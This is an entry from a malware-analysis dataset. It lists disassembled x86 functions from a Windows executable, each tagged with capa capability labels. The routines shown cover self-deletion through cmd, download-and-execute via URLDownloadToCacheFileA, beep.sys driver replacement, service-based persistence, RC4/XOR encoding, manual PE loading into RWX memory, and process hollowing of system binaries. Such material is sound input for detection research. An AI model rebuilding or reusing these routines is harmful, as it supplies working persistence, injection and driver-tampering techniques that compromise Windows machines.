joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401100
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Resume thread
Self delete

Disassembly:
sub esp, 0x360
lea eax, [esp + 0x54]
push ebx
push ebp
push esi
push edi
push 0x104
xor esi, esi
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
je 0x401250
lea ecx, [esp + 0x64]
push 0x104
lea edx, [esp + 0x68]
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_GetShortPathNameA]
test eax, eax
je 0x401250
lea eax, [esp + 0x168]
push 0x104
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
test eax, eax
je 0x401250
lea ecx, [esp + 0x64]
lea edx, [esp + 0x26c]
push ecx
push str.__c_del__s___nul
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [esp + 0x26c]
lea ecx, [esp + 0x168]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov ebx, dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
xor edx, edx
mov dword [esp + 0x14], edx
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
mov dword [esp + 0x18], edx
push 0x100
rep stosd dword es:[edi], eax
mov dword [esp + 0x14], esi
mov dword [esp + 0x20], edx
mov dword [esp + 0x24], 0x44
mov dword [esp + 0x50], 1
mov word [esp + 0x54], si
call ebx
mov esi, dword [sym.imp.KERNEL32.DLL_SetPriorityClass]
push eax
call esi
mov ebp, dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
push 0xf
call ebp
mov edi, dword [sym.imp.KERNEL32.DLL_SetThreadPriority]
push eax
call edi
lea eax, [esp + 0x10]
lea ecx, [esp + 0x20]
push eax
push ecx
push 0
push 0
push 0xc
push 0
push 0
lea edx, [esp + 0x184]
push 0
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x401242
mov eax, dword [esp + 0x10]
push pe_nt_image_headers32
push eax
call esi
mov ecx, dword [esp + 0x14]
push 0xfffffffffffffff1
push ecx
call edi
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x360
ret
push 0x20
call ebx
push eax
call esi
push 0
call ebp
push eax
call edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x360
ret
Function at 0x4013e0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x15c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push edi
push str.urlmon.dll
call esi
push str.wininet.dll
mov ebx, eax
call esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.URLDownloadToCacheFileA
push ebx
mov ebp, eax
call esi
push str.GetUrlCacheEntryInfoA
push ebp
mov dword [esp + 0x1c], eax
call esi
mov edi, dword [esp + 0x170]
push 0
push 0
push 0xa
push str.c:2.exe
push edi
push 0
mov esi, eax
call dword [esp + 0x2c]
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0
push eax
push 0
push edi
call esi
test eax, eax
jne 0x4014dd
mov ecx, dword [esp + 0x10]
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
lea edx, [esp + 0x10]
mov dword [esp + 0x14], eax
push edx
push eax
push edi
call esi
test eax, eax
je 0x4014dd
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x6c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x14]
or ecx, 0xffffffff
mov edx, dword [eax + 8]
xor eax, eax
mov edi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x70]
push edx
push ecx
call dword [sym.imp.MSVCRT.dll_strncpy]
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x34]
add esp, 0xc
rep stosd dword es:[edi], eax
lea edx, [esp + 0x18]
lea eax, [esp + 0x28]
push edx
push eax
push 0
push 0
push 0x20
push 0
push 0
push 0
lea ecx, [esp + 0x8c]
push 0
push ecx
mov dword [esp + 0x50], 0x44
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov esi, dword [sym.imp.KERNEL32.DLL_FreeLibrary]
push ebx
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x15c
ret

Function at 0x401580
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [esp + 4]
cmp word [eax], 0x5a4d
jne 0x4015ce
mov ecx, dword [eax + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x4015ce
mov ecx, dword [esp + 8]
mov dword [ecx], eax
mov edx, dword [eax]
cmp edx, 0x4550
jne 0x4015ce
mov edx, dword [esp + 0xc]
add eax, 4
mov dword [ecx], eax
add eax, 0x14
mov dword [edx], eax
cmp word [eax], 0x10b
jne 0x4015ce
mov ecx, dword [esp + 0x10]
add eax, 0xe0
mov dword [ecx], eax
mov eax, 1
ret
xor eax, eax
ret

Function at 0x4018f0
Capabilities:
Start service

Disassembly:
push esi
push edi
push 2
push 0
push 0
or edi, 0xffffffff
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x401963
push 0x10
push str.beep
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x401934
push str.Start_beep_service_ok
call dword [sym.imp.MSVCRT.dll_puts]
add esp, 4
push ebx
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push str..Dark2118
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ebx, eax
call edi
push esi
call edi
mov eax, ebx
pop ebx
pop edi
pop esi
ret
mov eax, edi
pop edi
pop esi
ret
Function at 0x401970
Capabilities:
Stop service

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x1c
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x4019c6
push ebx
push esi
push 0x10020
push str.beep
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x4019c1
lea ecx, [esp + 0xc]
push ecx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
call ebx
push edi
call ebx
pop esi
pop ebx
pop edi
add esp, 0x1c
ret

Function at 0x4019d0
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push esi
push 0
push 0x80
push 5
push 0
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
test esi, esi
je 0x401a1a
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
lea ecx, [esp + 8]
push 0
push ecx
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, 1
pop esi
ret
xor eax, eax
pop esi
ret

Function at 0x401a20
Capabilities:
Get file size
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push 0
push 0x80
push 4
push 0
push 1
push closesocket
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
test esi, esi
je 0x401a8b
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov ebx, dword [esp + 0x10]
test eax, eax
mov dword [ebx], eax
jbe 0x401a8b
push edi
push eax
mov dword [esp + 0x14], 0
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, dword [ebx]
add esp, 4
lea ecx, [esp + 0x10]
mov edi, eax
push 0
push ecx
push edx
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
ret
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop esi
xor eax, eax
pop ebx
ret
Function at 0x401aa0
Capabilities:
Get common file path
Set file attributes

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
push 0x100
push eax
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov edi, str.drivers_beep.sys
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, dword [sym.imp.MSVCRT.dll_puts]
and ecx, 3
lea eax, [esp + 0x10]
rep movsb byte es:[edi], byte [esi]
push eax
call ebx
add esp, 4
lea ecx, [esp + 0x10]
push 0x80
push ecx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea edx, [esp + 0xc]
lea eax, [esp + 0x10]
push edx
push eax
call fcn.00401a20
push 0xc80
lea ecx, [esp + 0x1c]
push 0x406124
push ecx
mov edi, eax
call fcn.004019d0
add esp, 0x14
test eax, eax
jne 0x401b55
pop edi
pop esi
or eax, 0xffffffff
pop ebx
add esp, 0x104
ret
push 0
call fcn.00401970
add esp, 4
call fcn.004018f0
mov esi, eax
cmp esi, 0xffffffff
jne 0x401b81
push str.Load_driver_failed_
call ebx
add esp, 4
or eax, esi
pop edi
pop esi
pop ebx
add esp, 0x104
ret
push esi
call fcn.00401720
push esi
call fcn.00401970
add esp, 8
test edi, edi
je 0x401bad
mov edx, dword [esp + 0xc]
lea eax, [esp + 0x10]
push edx
push edi
push eax
call fcn.004019d0
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x10
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x104
ret
Function at 0x402010
Capabilities:
Create service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4051f0
push 0x404660
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x118
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 4], esi
push 0xf003f
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
mov dword [ebp - 0x20], ebx
cmp ebx, esi
je 0x402111
push esi
push esi
push esi
push esi
push esi
mov eax, dword [ebp + 0x14]
push eax
push esi
push 2
push 0x10
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edi, dword [ebp + 8]
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
mov dword [ebp - 0x24], esi
test esi, esi
jne 0x4020b7
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x431
jne 0x4020b7
push 0xf01ff
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
mov dword [ebp - 0x24], esi
test esi, esi
je 0x402111
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x402111
push edi
push str.SYSTEMCurrentControlSetServices_s
lea edx, [ebp - 0x128]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x128]
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edi, dword [ebp + 0x10]
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
push edi
push 1
push 0
push str.Description
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 4], 0xffffffff
call fcn.00402134
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4021b0
Capabilities:
Check mutex on windows
Create thread
Initialize winsock library

Disassembly:
sub esp, 0x190
push ebx
push ebp
push esi
push edi
push 0x406f68
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x4021ea
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x190
ret
lea eax, [esp + 0x10]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateThread]
mov ebp, dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push 0
push 0
push 0
push 0x402240
push 0
push 0
call ebx
mov esi, eax
push 0xffffffffffffffff
push esi
call ebp
push esi
call edi
push 0x2710
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x40220c
Function at 0x402c70
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x18
push esi
mov esi, dword [esp + 0x24]
cmp esi, 1
push edi
jae 0x402c89
pop edi
mov eax, 1
pop esi
add esp, 0x18
ret
mov edi, dword [esp + 0x24]
lea eax, [esp + 0x28]
push 4
push eax
push 8
push 0xffff
push edi
mov dword [esp + 0x3c], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x402cb6
pop edi
xor eax, eax
pop esi
add esp, 0x18
ret
lea eax, [esi + esi*4]
xor ecx, ecx
xor edx, edx
mov dword [esp + 0xc], ecx
lea eax, [eax + eax*4]
mov dword [esp + 0x18], edx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
lea eax, [eax + eax*4]
push edx
lea ecx, [esp + 0x28]
mov dword [esp + 0x20], edx
shl eax, 3
push edx
push ecx
lea edx, [esp + 0x20]
mov dword [esp + 0x18], eax
push 0xc
push edx
lea eax, [esp + 0x1c]
push 0xc
push eax
push 0x98000004
push edi
mov dword [esp + 0x2c], 1
mov dword [esp + 0x34], 0x3e8
call dword [sym.imp.WS2_32.dll_WSAIoctl]
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
add esp, 0x18
ret

Function at 0x402d80
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x402da4
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x402d9d
pop esi
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
ret

Function at 0x403a20
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, 0xfe
and eax, 0xff
push esi
cdq
idiv ecx
mov esi, dword [esp + 0xc]
inc dl
test esi, esi
jbe 0x403a4c
mov eax, dword [esp + 8]
mov cl, byte [eax]
xor cl, dl
add cl, dl
mov byte [eax], cl
inc eax
dec esi
jne 0x403a40
pop esi
ret
Function at 0x403c90
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Parse pe header

Disassembly:
mov edx, dword [esp + 8]
push ebx
cmp edx, 0x40
push esi
mov ebx, ecx
jb 0x403e2b
mov ecx, dword [esp + 0xc]
cmp word [ecx], 0x5a4d
jne 0x403e2b
mov esi, dword [ecx + 0x3c]
lea eax, [esi + 0xf8]
cmp edx, eax
jl 0x403e2b
mov eax, dword [esi + ecx]
add esi, ecx
cmp eax, 0x4550
jne 0x403e2b
test byte [esi + 0x17], 0x20
jne 0x403e2b
cmp word [esi + 0x14], 0xe0
jne 0x403e2b
lea eax, [esi + 0xf8]
push eax
push esi
push edx
push ecx
mov ecx, ebx
mov dword [esp + 0x20], eax
call fcn.00403bd0
mov ecx, dword [esp + 0x20]
test eax, eax
mov dword [ecx], eax
je 0x403e2b
push ebp
push edi
push pe_nt_image_headers32
push 0x1000
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov ebp, dword [esp + 0x24]
test eax, eax
mov dword [ebp], eax
je 0x403e1f
mov edi, dword [esi + 0x54]
xor ecx, ecx
mov cx, word [esi + 6]
test ecx, ecx
jle 0x403d51
mov edx, dword [esp + 0x18]
lea esi, [edx + 0x14]
mov edx, dword [esi]
test edx, edx
je 0x403d4b
cmp edx, edi
jae 0x403d4b
mov edi, edx
add esi, 0x28
dec ecx
jne 0x403d3f
mov ecx, dword [esp + 0x14]
push edi
push ecx
push eax
call dword [sym.imp.MSVCRT.dll_memmove]
mov eax, dword [ebp]
mov edi, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
add esp, 0xc
mov edx, dword [eax + 0x3c]
add eax, edx
mov dword [edi], eax
add eax, 0xf8
mov dword [ecx], eax
mov eax, dword [edi]
mov ecx, ebx
mov edx, dword [eax + 0x38]
mov eax, dword [eax + 0x54]
push edx
push eax
call fcn.00403bb0
mov ecx, dword [ebp]
mov esi, eax
add esi, ecx
mov ecx, dword [edi]
xor ebp, ebp
cmp word [ecx + 6], bp
mov dword [esp + 0x18], ebp
jbe 0x403e1f
mov edx, dword [esp + 0x20]
mov eax, dword [edx]
mov edx, dword [eax + ebp + 0xc]
add eax, ebp
test edx, edx
je 0x403db8
mov esi, dword [esp + 0x24]
add edx, dword [esi]
mov esi, edx
mov edx, dword [eax + 0x10]
test edx, edx
je 0x403df6
mov ecx, dword [eax + 0x14]
push edx
add ecx, dword [esp + 0x18]
push ecx
push esi
push ebx
call fcn.00404320
mov edx, dword [esp + 0x30]
add esp, 0x10
mov eax, dword [edx]
add eax, ebp
mov ecx, dword [eax + 8]
mov eax, dword [eax + 0x10]
cmp ecx, eax
jae 0x403ded
mov ecx, dword [edi]
mov edx, dword [ecx + 0x38]
push edx
push eax
jmp 0x403dfe
mov eax, dword [edi]
mov edx, dword [eax + 0x38]
push edx
push ecx
jmp 0x403dfe
mov ecx, dword [ecx + 0x38]
mov edx, dword [eax + 8]
push ecx
push edx
mov ecx, ebx
call fcn.00403bb0
mov ecx, dword [edi]
add esi, eax
mov eax, dword [esp + 0x18]
xor edx, edx
mov dx, word [ecx + 6]
inc eax
add ebp, 0x28
cmp eax, edx
mov dword [esp + 0x18], eax
jl 0x403da0
pop edi
pop ebp
pop esi
mov eax, 1
pop ebx
ret 0x18
pop esi
xor eax, eax
pop ebx
ret 0x18
Function at 0x403ed0
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x74
push ebp
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x38]
lea edx, [esp + 0x38]
rep stosd dword es:[edi], eax
mov dword [esp + 0xc], eax
lea ecx, [esp + 0xc]
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
push edx
push eax
push eax
push 4
push eax
push eax
mov dword [esp + 0x34], eax
push eax
mov eax, dword [esp + 0xa0]
push eax
push 0
mov dword [esp + 0x60], 0x44
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov ebp, eax
test ebp, ebp
je 0x403fb9
mov edi, dword [esp + 0x88]
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x8c]
mov edx, dword [esp + 0x10]
push ebx
mov dword [edi], ecx
mov ecx, dword [esp + 0x94]
push esi
mov esi, dword [esp + 0x8c]
mov dword [eax], edx
mov edx, dword [esp + 0x1c]
push esi
mov dword [ecx], edx
mov dword [esi], 0x10007
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.DLL_GetThreadContext]
mov edx, dword [esi + 0xa4]
mov ebx, dword [esp + 0x9c]
mov eax, dword [edi]
lea ecx, [esp + 0x10]
push ecx
push 4
add edx, 8
push ebx
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_ReadProcessMemory]
mov esi, dword [ebx]
mov edx, dword [edi]
lea ecx, [esp + 0x24]
push 0x1c
push ecx
push esi
push edx
call dword [sym.imp.KERNEL32.DLL_VirtualQueryEx]
mov eax, dword [esp + 0xa0]
mov dword [eax], 0x7c2
mov ecx, dword [ebx]
sub esi, ecx
mov dword [eax], esi
pop esi
pop ebx
mov eax, ebp
pop edi
pop ebp
add esp, 0x74
ret 0x1c
mov eax, ebp
pop edi
pop ebp
add esp, 0x74
ret 0x1c
Function at 0x4041e0
Capabilities:
Get file size
Read file on windows

Disassembly:
sub esp, 8
mov eax, dword [esp + 0xc]
push ebp
push 0
push 0x80
push 3
push 0
push 1
push closesocket
mov dword [esp + 0x20], ecx
push eax
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x40421d
or eax, eax
pop ebp
add esp, 8
ret 0xc
push ebx
push esi
push edi
push 0
push ebp
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov esi, eax
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, esi
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [esp + 0x14]
push eax
push esi
push ebx
push ebp
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push ebp
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x18]
push edx
push esi
push ebx
call fcn.00404290
push ebx
mov esi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
add esp, 8
ret 0xc

Function at 0x404380
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
push esi
mov esi, dword [esp + 0x10c]
test esi, esi
jne 0x40439c
xor eax, eax
pop esi
add esp, 0x104
ret
push edi
lea eax, [esp + 8]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea ecx, [esp + 8]
push str.Program_FilesInternet_Exploreriexplore.exe
push ecx
mov byte [esp + 0x12], 0
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov ecx, dword [esp + 0x114]
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
pop edi
mov eax, 1
pop esi
add esp, 0x104
ret

Function at 0x404400
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
push esi
mov esi, dword [esp + 0x10c]
test esi, esi
jne 0x40441c
xor eax, eax
pop esi
add esp, 0x104
ret
push edi
lea eax, [esp + 8]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea ecx, [esp + 8]
push str._svchost.exe
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov ecx, dword [esp + 0x114]
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
pop edi
mov eax, 1
pop esi
add esp, 0x104
ret
Function at 0x404470
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
push esi
mov esi, dword [esp + 0x10c]
test esi, esi
jne 0x40448c
xor eax, eax
pop esi
add esp, 0x104
ret
push edi
lea eax, [esp + 8]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea ecx, [esp + 8]
push str.explorer.exe
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov ecx, dword [esp + 0x114]
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
pop edi
mov eax, 1
pop esi
add esp, 0x104
ret

Function at 0x4044e0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
push esi
mov esi, dword [esp + 0x10c]
test esi, esi
jne 0x4044fc
xor eax, eax
pop esi
add esp, 0x104
ret
push edi
lea eax, [esp + 8]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea ecx, [esp + 8]
push 0x40714c
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov ecx, dword [esp + 0x114]
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
pop edi
mov eax, 1
pop esi
add esp, 0x104
ret

Function at 0x404550
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
push esi
mov esi, dword [esp + 0x10c]
test esi, esi
jne 0x40456c
xor eax, eax
pop esi
add esp, 0x104
ret
push edi
lea eax, [esp + 8]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea ecx, [esp + 8]
push 0x40714c
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov ecx, dword [esp + 0x114]
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
pop edi
mov eax, 1
pop esi
add esp, 0x104
ret

Function at 0x4045c0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
push esi
mov esi, dword [esp + 0x10c]
test esi, esi
jne 0x4045dc
xor eax, eax
pop esi
add esp, 0x104
ret
push edi
lea eax, [esp + 8]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea ecx, [esp + 8]
push str.Program_FilesInternet_Explorer_
push ecx
mov byte [esp + 0x12], 0
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov ecx, dword [esp + 0x114]
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
pop edi
mov eax, 1
pop esi
add esp, 0x104
ret
Function at 0x40173a
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push 0x44
push 0
lea eax, [ebp - 0x5c]
push eax
call fcn.00438ec0
add esp, 0xc
mov dword [ebp - 0x5c], 0x44
and dword [ebp - 0x58], 0
and dword [ebp - 0x50], 0
and dword [ebp - 0x54], 0
and dword [ebp - 0x48], 0
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
and dword [ebp - 0x44], 0
and dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0x50
mov dword [ebp - 0x38], 0x33
mov dword [ebp - 0x34], 0xf
mov dword [ebp - 0x30], 0x19
cmp dword [ebp + 0xc], 0
je 0x4017a0
xor eax, eax
inc eax
mov word [ebp - 0x2c], ax
jmp 0x4017a6
xor eax, eax
mov word [ebp - 0x2c], ax
and dword [ebp - 0x28], 0
xor eax, eax
mov word [ebp - 0x2a], ax
cmp dword [ebp + 0x14], 0
je 0x4017c3
mov ecx, dword [ebp + 0x14]
call fcn.00406b07
mov dword [ebp - 4], eax
jmp 0x4017c7
and dword [ebp - 4], 0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x5c]
push eax
push dword [ebp - 4]
push 0
push 0
push 1
push 0
push 0
mov ecx, dword [ebp + 8]
call fcn.00406b07
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp dword [ebp + 0x10], 0
je 0x40180f
push 0xffffffffffffffff
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret